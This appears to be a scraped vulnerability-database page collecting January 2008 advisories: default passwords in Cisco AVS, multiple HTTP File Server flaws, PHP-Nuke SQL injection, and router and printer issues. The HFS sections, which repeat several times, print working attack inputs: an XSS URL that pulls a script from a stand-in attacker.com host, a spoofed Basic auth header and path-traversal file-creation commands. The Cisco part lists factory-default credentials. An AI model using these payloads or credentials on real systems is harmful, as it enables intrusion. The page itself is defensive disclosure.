| VAR-200801-0009 | CVE-2008-0029 | Cisco Application Velocity System (AVS) Elevation of privilege vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Cisco Application Velocity System (AVS) before 5.1.0 is installed with default passwords for some system accounts, which allows remote attackers to gain privileges. These issues stem from a design flaw that makes several accounts available to remote attackers.
Successful exploits allow remote attackers to gain administrative access to vulnerable appliances.
Versions prior to Cisco AVS 5.1.0 are vulnerable.
Cisco is tracking these issues as Cisco Bug ID CSCsd94732. -----BEGIN PGP SIGNED MESSAGE-----

Cisco Security Advisory: Default Passwords in the Application Velocity
System
Advisory ID: cisco-sa-20080123-avs
http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml
Revision 1.0
For Public Release 2008 January 23 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
Versions of the Cisco Application Velocity System (AVS) prior to
software version AVS 5.1.0 do not prompt users to modify system account
passwords during the initial configuration process. Because there is no
requirement to change these credentials during the initial configuration
process, an attacker may be able to leverage the accounts that have
default credentials, some of which have root privileges, to take full
administrative control of the AVS system.
After upgrading to software version AVS 5.1.0, users will be prompted to
modify these credentials.
Cisco will make free upgrade software available to address this
vulnerability for affected customers. The software upgrade will
be applicable only for the AVS 3120, 3180, and 3180A systems. The
workaround identified in this document describes how to change the
passwords in current releases of software for the AVS 3110.
Common Vulnerabilities and Exposures (CVE) identifier CVE-2008-0029 has
been assigned to this vulnerability.
This advisory is posted at
http://www.cisco.com/warp/public/707/cisco-sa-20080123-avs.shtml. Administrators can determine the software version of the
AVS appliances by logging in to the Management Station web-based user
interface or from the command-line interface (CLI) of the appliance
operating system.
Customers who use the AVS 3180 or 3180A Management Station can determine
their node software versions by navigating to the Cluster Information
Page. Each registered node will display the corresponding software
version when the node is selected.
The AVS appliance version can also be determined from the host operating
system by using the "Show Version" command.
The following example shows "Show Version" output for an AVS 3120
appliance that is running version 5.1.0:
velocity>Show Version

Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by this
vulnerability.
Details
=======
The Cisco AVS 3110 and 3120 are enterprise data center appliances for
improving web application performance, measuring end-user response
time, and managing application security. The
Cisco AVS 3180 and 3180A Management Stations provide web-based tools for
the configuration and application performance monitoring for a cluster
of AVS 3110s and 3120s or individual nodes.
Vulnerable versions of the AVS software do not prompt the administrator
to change the passwords for these accounts, including accounts with root
privileges, during the initial configuration process. Non-vulnerable
versions of AVS software will now prompt administrators to change these
accounts after installation.
Note: If the passwords for the AVS 3110 or 3120 are changed on the
device itself and it has previously been registered with an AVS 3180
or 3180A Management Station, the node must be re-registered with the
Management Station console. Otherwise, communication between the AVS
3180 or 3180A Management Station and AVS 3110 or 3120 node will be lost.
For additional details about the AVS node registration process, refer to
the "Register Node" section of the Cisco AVS User's Guide.
After upgrading the appliance software to version AVS 5.1.0 and logging
in for the first time, the administrator will now be prompted to change
the system account passwords.
The following example shows the new password change prompts and the
subsequent password change dialog for the AVS 3120 after upgrade:
velocity login: fgn
Password:
**WARNING** System wide secrets are in factory default state.
Would you like to change these now? [y/n] y changing root password

Software Versions and Fixes
===========================
When considering software upgrades, also consult
http://www.cisco.com/go/psirt and any subsequent advisories to determine
exposure and a complete upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
AVS software is available for download from the following locations on
cisco.com:
* AVS 3120 5.1.0 (http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3120-5.1)
* AVS 3180 5.1.0 (http://www.cisco.com/pcgi-bin/tablebuild.pl/AVS3180-5.1)
Workarounds
===========
The following workarounds are applicable only for the AVS 3110 and are
performed on the system shell. The AVS 3110 does not have a CLI. The use
of strong passwords is encouraged.
Changing the Root Password
+-------------------------
Complete these steps:
1. Change the root password by using the following command:
shell# passwd
2. Reboot to activate the new settings by using the following command:
shell# reboot
Changing the Management Console Username and Password
+----------------------------------------------------
Complete these steps:
1. Open the following file in a text editor:
$AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/deploy/
fgconsole.war/users.properties
Use the line admin=admin to set the username and password. The
username appears before the equal sign (=) and the password appears
after the equal sign (=). For example, to change the username to
Cisco and the password to accelerate, change the admin=admin line
to Cisco=accelerate.
2. If you change the username, you must also change this file:
$AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/deploy/
fgconsole.war/roles.properties
The username is set by the line that contains admin=. The username
appears before the equal sign (=). For example, to change the user
name to Cisco, change the admin= line to Cisco=. Do not change the
text after the equal sign (=) in this file; this field specifies
the account privileges. The username that you enter here must match
the one in the users.properties file in the preceding step.
Changing the Database Username and Password
+------------------------------------------
There are two steps required to change the database password:
1. First change the database password.
2. Then update the Management Console configuration file with the new
database password.
Complete these steps:
1. Log in to the database using the old password, and then use the
alter SQL command to change to the new password.
/usr/local/fineground/console/postgres/bin/psql
-U fineground -p 5432 fgnlog Password : <old password>
Welcome to psql 7.3.4, the PostgreSQL interactive terminal.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit
fgnlog=# alter user fineground password '<new password>'; \q
2. The username and password to access the Management Console database
are set during the Management Console installation process. If you
want to change these later, you can modify an XML configuration
file that the Management Console server reads at start-up.
a. Open the following file in a text editor:
$AVS_HOME/console/jboss-3.0.1_tomcat-4.0.4/server/default/
deploy/postgres-service.xml
Look for the following section in this file:
<!--set these only if you want only default logins,
not through JAAS -->
<config-property name="UserName" type="java.lang.String">fineground</config-property>
<config-property name="Password" type="java.lang.String">condenser</config-property>
b. To change the username, change the value for the UserName
configuration property (fineground in this example).
c. To change the password, change the value for the Password
configuration property (condenser in this example).
d. Save and close the file.
Changing the Node Manager Password
+---------------------------------
Complete these steps:
1. Log in as fgn, and then use the su command to switch to the
superuser.
2. Stop the Condenser and Node Manager:
/etc/init.d/fgnpn<Tab> stop
Press Tab to have the interface complete the command.
3. Go to the $AVS_HOME/perfnode/node_manager/conf directory.
4. Back up the file named passwords.
5. Change the password with the following command:
$AVS_HOME/perfnode/bin/htpasswd -bcm passwords.new admin <password>
In the preceding command, passwords.new is the name of the file in
which the passwords are stored. Currently only the user admin is
supported.
6. Install the file with the following command:
install -m 400 -o nobody -g nobody passwords.new passwords
7. Restart the appliance with the reboot command.
8. Re-register the node from the Management Console for which the node
manager password was changed.
Changing the Condenser Password
+------------------------------
Complete these steps:
1. Log in as fgn, and then use the su command to switch to the
superuser.
2. Stop the Condenser and Node Manager:
/etc/init.d/fgnpn<TAB> stop
Press Tab to have the interface complete the command.
3. Go to the $AVS_HOME/perfnode/passwd directory.
4. Backup the file named .htpasswd.
5. Change the password with the following command:
$AVS_HOME/perfnode/bin/htpasswd -bcm passwords.new fineground <password>
In the preceding command, passwords.new is the name of the file in
which the passwords are stored. Currently only the user fineground
is supported.
6. Install the file with the following command:
install -m 400 -o nobody -g nobody passwords.new .htpasswd
7. Restart the appliance with the reboot command.
8. Re-register the node from the Management Console for which the
Condenser password was changed.

HFS Vulnerable to adding arbitrary text to log files
Related entries in the VARIoT exploits database: VAR-E-200801-0428 |
CVSS V2: 6.4 CVSS V3: - Severity: MEDIUM |
HTTP File Server (HFS) before 2.2c allows remote attackers to append arbitrary text to the log file by using the base64 representation of this text during HTTP Basic Authentication. HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue.
A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.

TITLE:
HTTP File Server Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA28631
VERIFY ADVISORY:
http://secunia.com/advisories/28631/
CRITICAL:
Moderately critical
IMPACT:
Cross Site Scripting, Spoofing, Manipulation of data, Exposure of
system information, DoS, System access
WHERE:
>From remote
SOFTWARE:
HTTP File Server 2.x
http://secunia.com/product/16793/
DESCRIPTION:
Felipe Aragon and Alec Storm have reported some vulnerabilities and
security issues in HTTP File Server, which can be exploited by
malicious people to disclose system information, conduct spoofing and
cross-site scripting attacks, bypass certain security restrictions,
manipulate data, and potentially compromise a vulnerable system.
1) The application does not correctly log certain input. This can be
exploited to e.g. spoof the username or inject arbitrary content into
the logfile when logging in.
2) Certain input is not properly sanitised before being returned to a
user.
3) It is possible to disclose certain information (e.g. number of
connections, transfer speed, traffic statistics, or uptime) by
sending specially crafted request containing template symbols.
4) The application does not correctly handle the username before
using it to create the file name of the logfile. This can be
exploited to create directories, append data to files, or to cause a
buffer overflow by sending specially crafted requests to a vulnerable
server.
Successful exploitation allows the execution of arbitrary code, but
requires that the "%user%" template symbol is used to define the name
of the logfile.
SOLUTION:
Some of the vulnerabilities are fixed in version 2.2c.

Forging/Injection Vulnerability
Advisory-ID: 200801163
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 1.5g to and including 2.3(Beta Build
#174); and possibly HFS version 1.5f
Non-Affected Applications: HFS 1.5e and earlier versions
Class: Log Forging/Injection, Username Spoofing
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net
The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0407 - Username Spoofing Vulnerability
* CVE-2008-0408 - Log Forging / Injection Vulnerability
----------------------------------------------------------------
Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.
Description:
HFS versions 1.5g to 2.3 Beta (and possibly version 1.5f) are
vulnerable to log forging and username spoofing vulnerabilities.
Remote attackers can appear to be logged in with any desired
username or perform log injection in the log file and GUI panel.
Technical details are included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Log Forging / Injection Vulnerability
http://www.syhunt.com/advisories/hfshack.txt
See the "maniplog" command
maniplog [localfilename]
This will inject the content of [localfilename] to the HFS log
panel and file.
2) Username Spoofing Vulnerability
a. Login at http://[host]/~login as [user_x]. Then request
(using a web browser): http://[user_y]:[anywrongpwd]@[host]/
--or--
b. send a direct request in the following format (does not
require previous login):
GET / HTTP/1.1
(...)
Authorization: Basic dXNlcl95
Both alternatives could make an admin to believe that user Y has
made the HTTP request when reviewing logs.
Additional Considerations:
* Vulnerabilities described here will not allow browsing
protected files and folders.
----------------------------------------------------------------
Vulnerability Status:
The author was contacted and HFS version 2.2c was released. The
new version can be downloaded at www.rejetto.com/hfs/download or
via the "Check for news/updates" option in the HFS menu.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta is only affected if the option "Accept any login
for unprotected resources" is enabled. This option, introduced
in this version, is disabled by default.

HFS Service disruption in (DoS) Vulnerabilities
Related entries in the VARIoT exploits database: VAR-E-200801-0428 |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allows remote attackers to cause a denial of service (daemon crash) via a long account name. HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue.
A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.

features, which makes it even easier to stay patched.

HTTP File Server Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA28631
VERIFY ADVISORY:
http://secunia.com/advisories/28631/
CRITICAL:
Moderately critical
IMPACT:
Cross Site Scripting, Spoofing, Manipulation of data, Exposure of
system information, DoS, System access
WHERE:
>From remote
SOFTWARE:
HTTP File Server 2.x
http://secunia.com/product/16793/
DESCRIPTION:
Felipe Aragon and Alec Storm have reported some vulnerabilities and
security issues in HTTP File Server, which can be exploited by
malicious people to disclose system information, conduct spoofing and
cross-site scripting attacks, bypass certain security restrictions,
manipulate data, and potentially compromise a vulnerable system.
1) The application does not correctly log certain input. This can be
exploited to e.g. spoof the username or inject arbitrary content into
the logfile when logging in.
2) Certain input is not properly sanitised before being returned to a
user.
3) It is possible to disclose certain information (e.g. number of
connections, transfer speed, traffic statistics, or uptime) by
sending specially crafted request containing template symbols.
4) The application does not correctly handle the username before
using it to create the file name of the logfile. This can be
exploited to create directories, append data to files, or to cause a
buffer overflow by sending specially crafted requests to a vulnerable
server.
Successful exploitation allows the execution of arbitrary code, but
requires that the "%user%" template symbol is used to define the name
of the logfile.
SOLUTION:
Some of the vulnerabilities are fixed in version 2.2c.

Manipulation and Denial-of-Service Vulnerabilities
Advisory-ID: 200801162
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 2.2 to and including 2.3(Beta Build
#174)
Non-Affected Applications: HFS 2.1d and earlier versions
Class: Arbitrary File/Directory Manipulation, Denial of Service
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net
The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability
* CVE-2008-0406 - Denial of Service (DoS) Vulnerability
----------------------------------------------------------------
Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.
Description:
HFS (versions 2.2 to 2.3 beta) will not check if an account name
provided during navigation exists or contains any invalid chars
before logging information about a request.
Technical details are included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Arbitrary File/Directory Manipulation Vulnerability
http://www.syhunt.com/advisories/hfshack.txt
See the "mkd" and "manipf" commands
Example 1 - Arbitrary Directory Creation:
If HFS is running (for e.g.) in the C:\HFS directory, you can
create the C:\Syhunt\ directory by entering:
mkd ..\Syhunt
Example 2 - Arbitrary File Creation/Manipulation:
manipf [localfilename] [remotefilename]
manipf inject.html ..\Syhunt\index.html
This example would create the file "C:\Syhunt\index.html" and
append the content of the file "inject.html" to it.
2) Denial of Service (DoS) Vulnerability
http://www.syhunt.com/advisories/hfshack.txt
"checkdos" command
* HFS will close immediately after receiving the DoS request
* This issue is related to Windows limitations with long
filenames. XP has a limit of 255 characters; Windows Vista a 260
chars limit.
----------------------------------------------------------------
Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c
which fixes these problems. The new version can be downloaded at
www.rejetto.com/hfs/download or via the "Check for news/updates"
option in the HFS menu.
As a workaround for the affected releases, users can temporarily
disable the logging feature or remove the %user% symbol from the
log filename.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default. Details provided are strictly for
educational and defensive purposes.

HFS Vulnerable to cross-site scripting
Related entries in the VARIoT exploits database: VAR-E-200801-0428 |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
Cross-site scripting (XSS) vulnerability in HTTP File Server (HFS) before 2.2c allows remote attackers to inject arbitrary web script or HTML via the userinfo subcomponent of a URL.
A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.

Description:
When a specific URL is visited, HFS displays a non-existent
account name in the response body. This non-existent account
name can be HTML code, allowing a remote attacker to use this
to launch XSS attacks.
Because the HTML code is also recognized by the web server as a
HFS HTML template, it is also possible to inject symbols to
force HFS to reveal details about the server (eg, current HFS
server version, build, connections, timestamp, uptime, current
outbound and inbound speed, and more). Technical details are
included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/
Example 2 - Injecting an external script (A mix of encoding and
javascript functions is used here to circumvent browser
URL limitations):
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/
* This is specially dangerous if launched against Firefox. In
order to protect the password from prying eyes, Firefox entirely
hides what comes before the at (@) character and then only the
host name remains visible in the address bar. Firefox will also
resubmit the auth credentials everytime the host is visited
during the current browser session (unless new credentials are
supplied).
* User must be already logged in (via /~login) and the current
(root) path should not be password protected in the HFS-VFS
panel.
* If the host symbol is injected using this technique, HFS will
recognize it as a HTML template and return the data provided in
Host field of the request as part of the response body. The same
happens if the host symbol has been included (after
customization) in the current HFS HTML template.
Detection:
http://www.syhunt.com/advisories/hfshack.txt
See the "checkxss" command
Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat
2) Information Disclosure
Example 1 - Injecting Symbols:
http://www.syhunt.com/advisories/hfshack.txt
The "ver" command will force HFS to reveal its version and build
The "symbols" command will force HFS to reveal additional
details about the server (such as connections, timestamp, uptime,
current outbound and inbound speed, and more).
* You can disable the "Send HFS identifier" option (which
enables the HFS banner) and remove all server identifier
symbols from the original HTML template, and still it will work.
Additional Considerations:
* An updated IE will not accept basic auth via URL. See:
http://support.microsoft.com/kb/834489 and the MS security
update 832894 if you wish to learn about this subject.
----------------------------------------------------------------
Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c
which fixes these problems. The new version can be downloaded at
www.rejetto.com/hfs/download or via the "Check for news/updates"
option in the HFS menu.
As a workaround for the affected releases, users should remove
the %user% and %host% symbols from any HFS HTML templates.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default.

Related entries in the VARIoT exploits database: VAR-E-200801-0428 |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
HTTP File Server (HFS) before 2.2c allows remote attackers to obtain configuration and usage details by using an id element such as <id>%version%</id> in HTTP Basic Authentication instead of a username and password, as demonstrated by placing this id element in the userinfo subcomponent of a URL. HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue.
A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.

TITLE:
HTTP File Server Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA28631
VERIFY ADVISORY:
http://secunia.com/advisories/28631/
CRITICAL:
Moderately critical
IMPACT:
Cross Site Scripting, Spoofing, Manipulation of data, Exposure of
system information, DoS, System access
WHERE:
>From remote
SOFTWARE:
HTTP File Server 2.x
http://secunia.com/product/16793/
DESCRIPTION:
Felipe Aragon and Alec Storm have reported some vulnerabilities and
security issues in HTTP File Server, which can be exploited by
malicious people to disclose system information, conduct spoofing and
cross-site scripting attacks, bypass certain security restrictions,
manipulate data, and potentially compromise a vulnerable system.
1) The application does not correctly log certain input. This can be
exploited to e.g. spoof the username or inject arbitrary content into
the logfile when logging in.
2) Certain input is not properly sanitised before being returned to a
user.
3) It is possible to disclose certain information (e.g. number of
connections, transfer speed, traffic statistics, or uptime) by
sending specially crafted request containing template symbols.
4) The application does not correctly handle the username before
using it to create the file name of the logfile. This can be
exploited to create directories, append data to files, or to cause a
buffer overflow by sending specially crafted requests to a vulnerable
server.
Successful exploitation allows the execution of arbitrary code, but
requires that the "%user%" template symbol is used to define the name
of the logfile.
SOLUTION:
Some of the vulnerabilities are fixed in version 2.2c.

Description:
When a specific URL is visited, HFS displays a non-existent
account name in the response body. This non-existent account
name can be HTML code, allowing a remote attacker to use this
to launch XSS attacks.
Because the HTML code is also recognized by the web server as a
HFS HTML template, it is also possible to inject symbols to
force HFS to reveal details about the server (eg, current HFS
server version, build, connections, timestamp, uptime, current
outbound and inbound speed, and more). Technical details are
included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/
Example 2 - Injecting an external script (A mix of encoding and
javascript functions is used here to circumvent browser
URL limitations):
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/
* This is specially dangerous if launched against Firefox. In
order to protect the password from prying eyes, Firefox entirely
hides what comes before the at (@) character and then only the
host name remains visible in the address bar. Firefox will also
resubmit the auth credentials everytime the host is visited
during the current browser session (unless new credentials are
supplied).
* User must be already logged in (via /~login) and the current
(root) path should not be password protected in the HFS-VFS
panel.
* If the host symbol is injected using this technique, HFS will
recognize it as a HTML template and return the data provided in
Host field of the request as part of the response body. The same
happens if the host symbol has been included (after
customization) in the current HFS HTML template.
Detection:
http://www.syhunt.com/advisories/hfshack.txt
See the "checkxss" command
Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat
2) Information Disclosure
Example 1 - Injecting Symbols:
http://www.syhunt.com/advisories/hfshack.txt
The "ver" command will force HFS to reveal its version and build
The "symbols" command will force HFS to reveal additional
details about the server (such as connections, timestamp, uptime,
current outbound and inbound speed, and more).
* You can disable the "Send HFS identifier" option (which
enables the HFS banner) and remove all server identifier
symbols from the original HTML template, and still it will work.
Additional Considerations:
* An updated IE will not accept basic auth via URL. See:
http://support.microsoft.com/kb/834489 and the MS security
update 832894 if you wish to learn about this subject.

option in the HFS menu.
As a workaround for the affected releases, users should remove
the %user% and %host% symbols from any HFS HTML templates.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default.

HFS Vulnerabilities that make it difficult to identify remote request issuers
Related entries in the VARIoT exploits database: VAR-E-200801-0428 |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
HTTP File Server (HFS) before 2.2c tags HTTP request log entries with the username sent during HTTP Basic Authentication, regardless of whether authentication succeeded, which might make it more difficult for an administrator to determine who made a remote request. HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue.
A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.

TITLE:
HTTP File Server Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA28631
VERIFY ADVISORY:
http://secunia.com/advisories/28631/
CRITICAL:
Moderately critical
IMPACT:
Cross Site Scripting, Spoofing, Manipulation of data, Exposure of
system information, DoS, System access
WHERE:
>From remote
SOFTWARE:
HTTP File Server 2.x
http://secunia.com/product/16793/
DESCRIPTION:
Felipe Aragon and Alec Storm have reported some vulnerabilities and
security issues in HTTP File Server, which can be exploited by
malicious people to disclose system information, conduct spoofing and
cross-site scripting attacks, bypass certain security restrictions,
manipulate data, and potentially compromise a vulnerable system.
1) The application does not correctly log certain input. This can be
exploited to e.g. spoof the username or inject arbitrary content into
the logfile when logging in.
2) Certain input is not properly sanitised before being returned to a
user.
3) It is possible to disclose certain information (e.g. number of
connections, transfer speed, traffic statistics, or uptime) by
sending specially crafted request containing template symbols.
4) The application does not correctly handle the username before
using it to create the file name of the logfile. This can be
exploited to create directories, append data to files, or to cause a
buffer overflow by sending specially crafted requests to a vulnerable
server.
Successful exploitation allows the execution of arbitrary code, but
requires that the "%user%" template symbol is used to define the name
of the logfile.
SOLUTION:
Some of the vulnerabilities are fixed in version 2.2c.

Forging/Injection Vulnerability
Advisory-ID: 200801163
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 1.5g to and including 2.3(Beta Build
#174); and possibly HFS version 1.5f
Non-Affected Applications: HFS 1.5e and earlier versions
Class: Log Forging/Injection, Username Spoofing
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net
The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0407 - Username Spoofing Vulnerability
* CVE-2008-0408 - Log Forging / Injection Vulnerability
----------------------------------------------------------------
Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.
Description:
HFS versions 1.5g to 2.3 Beta (and possibly version 1.5f) are
vulnerable to log forging and username spoofing vulnerabilities.
Remote attackers can appear to be logged in with any desired
username or perform log injection in the log file and GUI panel.
Technical details are included below.
----------------------------------------------------------------
Details (Replicating the issues):
1) Log Forging / Injection Vulnerability
http://www.syhunt.com/advisories/hfshack.txt
See the "maniplog" command
maniplog [localfilename]
This will inject the content of [localfilename] to the HFS log
panel and file.
2) Username Spoofing Vulnerability
a. Login at http://[host]/~login as [user_x]. Then request
(using a web browser): http://[user_y]:[anywrongpwd]@[host]/
--or--
b. send a direct request in the following format (does not
require previous login):
GET / HTTP/1.1
(...)
Authorization: Basic dXNlcl95
Both alternatives could make an admin to believe that user Y has
made the HTTP request when reviewing logs.
Additional Considerations:
* Vulnerabilities described here will not allow browsing
protected files and folders.
----------------------------------------------------------------
Vulnerability Status:
The author was contacted and HFS version 2.2c was released. The
new version can be downloaded at www.rejetto.com/hfs/download or
via the "Check for news/updates" option in the HFS menu.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.
HFS 2.3 Beta is only affected if the option "Accept any login
for unprotected resources" is enabled. This option, introduced
in this version, is disabled by default.

| VAR-200801-0029 | CVE-2008-0461 | PHP-Nuke of Search Module index.php In SQL Injection vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
SQL injection vulnerability in index.php in the Search module in PHP-Nuke 8.0 FINAL and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the sid parameter in a comments action to modules.php. NOTE: some of these details are obtained from third party information. PHP-Nuke is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
----------------------------------------------------------------------

VERIFY ADVISORY:
http://secunia.com/advisories/28624/
CRITICAL:
Moderately critical
IMPACT:
Manipulation of data, Exposure of sensitive information
WHERE:
>From remote
SOFTWARE:
PHP-Nuke 8.x
http://secunia.com/product/13524/
DESCRIPTION:
Foster & 1dt.w0lf have discovered a vulnerability in PHP-Nuke, which
can be exploited by malicious people to conduct SQL injection
attacks. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
Successful exploitation allows e.g. retrieving the administrator
password hash, but requires that "magic_quotes_gpc" is disabled - not
the value recommended by the installer - and having knowledge of the
database table prefix.
The vulnerability is confirmed in version 8.0. Other versions may
also be affected.
SOLUTION:
Edit the source code to ensure that input is properly sanitised.
Set "magic_quotes_gpc" in php.ini to On.
Use another product.

| VAR-200801-0089 | CVE-2008-0403 | Belkin Wireless G Plus MIMO Router F5D9230-4 of Web Server configuration change vulnerability |
CVSS V2: 5.5 CVSS V3: - Severity: MEDIUM |
The web server in Belkin Wireless G Plus MIMO Router F5D9230-4 does not require authentication for SaveCfgFile.cgi, which allows remote attackers to read and modify configuration via a direct request to SaveCfgFile.cgi.
Successful exploits will allow unauthorized attackers to gain access to administrative functionality and completely compromise vulnerable devices; other attacks are also possible.
The issue affects firmware version 3.01.53; other versions may also be vulnerable.
----------------------------------------------------------------------
A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI
has been released. The new version includes many new and advanced
features, which makes it even easier to stay patched.
The vulnerability is caused due to missing authentication checks when
accessing the SaveCfgFile.cgi script, which can be exploited to
disclose sensitive information like the router's password.
Note: If remote management is enabled, this can also be exploited
from people outside the local network.
SOLUTION:
Restrict access to the device or use it in trusted network
environments only.
Reportedly, the vendor is working on a fix. A fixed beta version
should be available soon, a final version is planned to be released
before end of February.

| VAR-200909-0057 | CVE-2008-7165 | Alice Gate2 Plus Wi-Fi Router Cross-Site Request Forgery Vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Cross-site request forgery in cp06_wifi_m_nocifr.cgi in the administrator panel in TELECOM ITALIA Alice Gate2 Plus Wi-Fi allows remote attackers to hijack the authentication of administrators for requests that disable Wi-Fi encryption via certain values for the wlChannel and wlRadioEnable parameters. Alice Gate2 Plus Wi-Fi routers are prone to a cross-site request-forgery vulnerability.
An attacker can exploit this issue to alter administrative configuration on affected devices. Specifically, altering the wireless encryption settings on devices has been demonstrated. Other attacks may also be possible.
----------------------------------------------------------------------
A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI
has been released. The new version includes many new and advanced
features, which makes it even easier to stay patched.
The vulnerability is caused due to the device allowing users to
perform certain actions via HTTP requests, without checking the
validity of the request or proper authentication of the user sending
the request. This can be exploited by malicious people to e.g.

| VAR-200801-0123 | CVE-2008-0374 | OKI C5510MFP Printer CU Vulnerability that allows administrator passwords to be obtained in |
CVSS V2: 10.0 CVSS V3: 7.5 Severity: HIGH |
OKI C5510MFP Printer CU H2.15, PU 01.03.01, System F/W 1.01, and Web Page 1.00 sends the configuration of the printer in cleartext, which allows remote attackers to obtain the administrative password by connecting to TCP port 5548 or 7777. The OKI C5510MFP Printer is prone to an unauthorized-access vulnerability because it obtains configuration details and administrator passwords in an insecure manner.
